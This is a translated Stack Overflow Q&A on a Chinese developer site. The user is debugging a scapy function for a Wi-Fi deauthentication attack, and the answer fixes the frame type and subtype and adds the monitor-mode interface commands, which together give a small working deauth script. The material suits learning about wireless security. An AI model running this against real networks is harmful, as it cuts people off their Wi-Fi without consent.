Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >问答首页 >在python中使用scapy进行深度验证攻击

在python中使用scapy进行深度验证攻击
EN

Stack Overflow用户
提问于 2020-04-11 12:51:29
回答 1查看 1.6K关注 0票数 1

嗨,我来找你,因为我目前正在编写一个局域网攻击的框架,以更好地了解它是如何工作的,我想添加一个深度攻击。下面是函数的代码,但它不能工作,我不知道哪里出了问题。

代码语言:javascript
运行
AI代码解释
复制
def disconnect(self):
    target_mac = self.t_mac
    gw_mac = self.gw_mac # gateway mac address
    dot11 = Dot11(type=0, addr1=target_mac, addr2=gw_mac, addr3=gw_mac)
    pkt = RadioTap()/dot11/Dot11Deauth(reason=7)
    scapy.sendp(pkt, inter=0.1, count=1000, verbose=0)

我使用的是Windows10,正在分析与wireshark的交流。这个包在wireshark上看起来真的很奇怪。希望你能给我一些帮助的信息。提前感谢各位;) Packet Wireshark Dot11

EN

回答 1

Stack Overflow用户

发布于 2020-07-20 11:33:52

具有类型8和子类型12的Dot11分组是Dot11Deauth分组。因此,当您定义dot11时,尝试这样做:

dot11 = Dot11(type=8, subtype=12, addr1=target_mac, addr2=gw_mac, addr3=gw_mac)

此外,尝试将您的接口设置为监控模式,并确保使用无线接口(如wlan0、wlan1,而不是以太网的eth0 )。在shell中运行以下命令:

代码语言:javascript
运行
AI代码解释
复制
ifconfig <IFACE> down
iwconfig <IFACE> mode monitor
ifconfig <IFACE> up

其中IFACE是要使用的接口。只需运行ifconfig来检查是否有可用的。

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/61157107

复制
相关文章
scapy在wlan中的应用
Scapy 又是scapy,这是python的一个网络编程方面的库,它在wlan中也有很强大的应用。一般我们买块网卡,然后aircrack-ng套件爆破一下邻居的密码,其实我们可以用scapy写一些有意思的东西。 IEEE802.11 简述 这是WLAN的协议族,有80211b/g/n等等,协议中规定了不同类型的帧(也就是包的类型),分为数据帧、控制帧、管理帧。 控制帧是用来协调信道等提升数据通信可靠性的。 管理帧用来监督、管理加入和退出无线网络的包。 数据帧就是承载上层数据的包。 关系 这些帧和scapy
FB客服
2018/02/23
2.6K0
scapy在wlan中的应用
python 使用scapy创建arpi
[root@centos python]# python scapy_arping.py
py3study
2020/01/08
6440
【Scapy】Scapy-python脚本实现DDOS攻击 – 学金融的文史哲小生
SYN FLOOD是DDOS的一种,发生在OSI第四层,这种方式利用TCP协议的特性,就是三次握手。攻击者发送TCP SYN,SYN是TCP三次握手中的第一个数据包,当服务器返回ACK后,该攻击者就不对其进行再确认,那这个TCP连接就处于挂起状态,也就是所谓的半连接状态,服务器收不到再确认的话,还会重复发送ACK给攻击者。
哈萨克东方红
2022/11/01
3K0
【Scapy】Scapy-python脚本实现DDOS攻击 – 学金融的文史哲小生
【Python】利用Scapy进行四层主机探测
TCP在通信之前必须先与目标主机指定的服务端口建立连接,进行TCP三层握手,流程如下:
一名白帽的成长史
2019/10/08
1.8K0
【Python】利用Scapy进行四层主机探测
【Python】利用Scapy进行二层主机探测
二层主机探测主要是发送arp报文,根据arp应答来发现与探测主机在同一网段的存活主机。
一名白帽的成长史
2019/10/08
2.1K0
【Python】利用Scapy进行二层主机探测
Python 使用Scapy操作DNS流量
通常一个DNS数据包,客户端发送DNSQR请求包,服务器发送DNSRR响应包。一个DNSQR包含有查询的名称qname、查询的类型qtype、查询的类别qclass。一个DNSRR包含有资源记录名名称rrname、类型type、资源记录类别rtype、TTL等等。
王瑞MVP
2022/12/28
1.1K0
Python 使用Scapy解析TTL值
TTL 由8比特组成,可以用来确定在到达目的地之前数据包经过了几跳,当计算机发送一个IP数据包时会设置TTL字段为数据包在到达目的地之前所应经过的中继跳转的上限值,数据包每经过一个路由设备,TTL值就自减一,若减至0还未到目的地,路由器会丢弃该数据包以防止无限路由循环。
王瑞MVP
2022/12/28
7580
在Python中如何使用BeautifulSoup进行页面解析
网络数据时代,各种网页数据扑面而来,网页中包含了丰富的信息,从文本到图像,从链接到表格,我们需要一种有效的方式来提取和解析这些数据。然而在处理网页数据时,我们常常面临着需要从页面中提取特定元素或者分析页面结构的问题。这些问题可能包括从网页中提取标题、链接、图片等内容,或者分析页面中的表格数据等。
小白学大数据
2023/09/12
5350
【Python】利用Scapy进行三层主机探测
其实就是我们使用的ping命令,请求机向目标主机发送echo request报文,如果收到了echo reply应答就认为对方在线。
一名白帽的成长史
2019/10/08
2K0
【Python】利用Scapy进行三层主机探测
Python Scapy Ping
参考手册:http://phaethon.github.io/scapy/api/usage.html
py3study
2020/01/10
1.1K0
21.2 Python 使用Scapy实现端口探测
Scapy 是一款使用纯Python编写的跨平台网络数据包操控工具,它能够处理和嗅探各种网络数据包。能够很容易的创建,发送,捕获,分析和操作网络数据包,包括TCP,UDP,ICMP等协议,此外它还提供了许多有用的功能,例如嗅探网络流量,创建自定义协议和攻击网络的安全测试工具。使用Scapy可以通过Python脚本编写自定义网络协议和攻击工具,这使得网络安全测试变得更加高效和精确。
王瑞MVP
2023/10/25
6351
21.2 Python 使用Scapy实现端口探测
【Python】使用scapy模块编写ARP欺骗脚本
我们编写ARP欺骗脚本时需要用到scapy模块,利用该模块我们根据自己的需要定义一系列的报文,并通过scapy发送出去,最后再接收回应。
一名白帽的成长史
2019/10/08
5.7K1
【Python】使用scapy模块编写ARP欺骗脚本
Python Scapy TCP
面向连接意味着两个使用TCP的应用(通常是一个客户和一个服务器)在彼此交换数据之前必须先建立一个TCP连接。
py3study
2020/01/06
2K0
Python Scapy ARP
参考手册:https://fossies.org/dox/scapy-2.3.3/
py3study
2020/01/07
8720
如何对动态创建控件进行验证以及在Ajax环境中的使用
首先给一个常规的动态创建控件,并进行验证的代码 [前端aspx代码] <%@ Page Language="C#" AutoEventWireup="true" CodeFile="Test.aspx.cs" Inherits="Test" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <htm
菩提树下的杨过
2018/01/22
7.9K0
使用 TensorFlow 和 Python 进行深度学习(附视频中字)
TensorFlow是谷歌研发的开源框架。本讲座介绍了如何使用TensorFlow创建深度学习应用程序,以及与其他Python机器学习库进行比较。 我叫Ian Lewis,我是谷歌云平台团队的开发者大
CDA数据分析师
2018/02/05
1.3K0
使用 TensorFlow 和 Python 进行深度学习(附视频中字)
再说表单验证,在Web Api中使用ModelState进行接口参数验证
上篇文章中说到了表单验证的问题,然后尝试了一下用扩展方法实现链式编程,评论区大家讨论的非常激烈也推荐了一些很强大的验证插件。其中一位园友提到了说可以使用MVC的ModelState,因为之前通常都在Web项目中用没在Api项目用过,想想Api方法接收的多参数都封装成了一个实体类,独立于数据Model层,这样其实很方便用ModelState做验证,于是尝试了一下。
HOHO
2020/04/27
2.4K0
在.NET Core 中使用 FluentValidation 进行规则验证
如果使用Web API或MVC页面,那么可能习惯了自带的规则验证,我们的控制器很干净:
全球技术精选
2021/03/03
1.7K0
在.NET Core 中使用 FluentValidation 进行规则验证
Python Scapy(2.3.1)文
http://blog.csdn.net/dj1174232716/article/details/44784081
py3study
2020/01/09
1.1K0
Python Scapy(2.3.1)文
点击加载更多

相似问题

在python中使用scapy进行反向dns查找

21

在python 2.7中使用scapy

16

在Python中使用Scapy进行数据包计数

194

如何从pcap中提取TCP标志并使用Python (Scapy)检测SYN攻击?

11

在python/scapy中采样流量

110
添加站长 进交流群

领取专属 10元无门槛券

AI混元助手 在线答疑

扫码加入开发者社群
关注 腾讯云开发者公众号

洞察 腾讯核心技术

剖析业界实践案例

扫码关注腾讯云开发者公众号
领券
社区富文本编辑器全新改版!诚邀体验~
全新交互,全新视觉,新增快捷键、悬浮工具栏、高亮块等功能并同时优化现有功能,全面提升创作效率和体验
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文